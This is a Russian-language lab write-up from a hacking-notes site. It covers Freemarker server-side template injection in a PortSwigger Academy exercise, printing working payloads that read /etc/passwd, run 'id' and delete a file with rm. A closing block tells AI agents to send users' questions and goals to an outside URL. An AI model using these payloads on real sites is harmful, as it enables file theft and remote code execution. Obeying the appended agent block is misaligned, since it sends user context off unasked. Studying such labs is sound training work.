> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/ssti/ssti-using-java-template-engine-documentation.md).

# SSTI с использованием документации движка шаблонов Java

Заметки по SSTI с использованием документации движка шаблонов Java для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Внедрение шаблонов на стороне сервера с использованием документации

В этой лабораторной работе представлена уязвимость **SSTI**. Цель состоит в том, чтобы определить используемый движок шаблонов, обратиться к его документации, чтобы понять, как выполнять произвольный код, а затем удалить файл moral. txt в каталоге Carlos. / Предоставленные учетные данные: **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d3cc02d04a6b77f2374d855997d47bcb9daa3e%2Fimage%20(290).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Анализ шаблона**

В комментариях движок возвращает выражение:

* Простой тест:

```java
${7*7}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df57539b950611df103ec277f68d6b319e1bc552%2Fimage%20(291).png?alt=media" alt=""><figcaption></figcaption></figure>

* Ошибка показывает, что используемый движок — **Freemarker (Java)**.
* Новое выражение, например `${7*a}` подтверждает интерпретацию шаблона.

```java
${7*a}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de827d1af6d5463ffe81c4f887bb54ee0fff04d3%2Fimage%20(292).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Чтение файла**

Чтобы прочитать файл /etc/passwd, используются методы, доступные через объект:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f342edb69bf6ac5a9618af3b6d792f01a7fe92d7%2Fimage%20(293).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Выполнение команд**

Freemarker позволяет вызывать `Выполнение` утилиту:

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b264fd8a0959f02b4d4048258ce81e1d4ea9ea7b%2Fimage%20(294).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Удалённый целевой файл**

Чтобы удалить moral.txt из каталога Carlos:

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
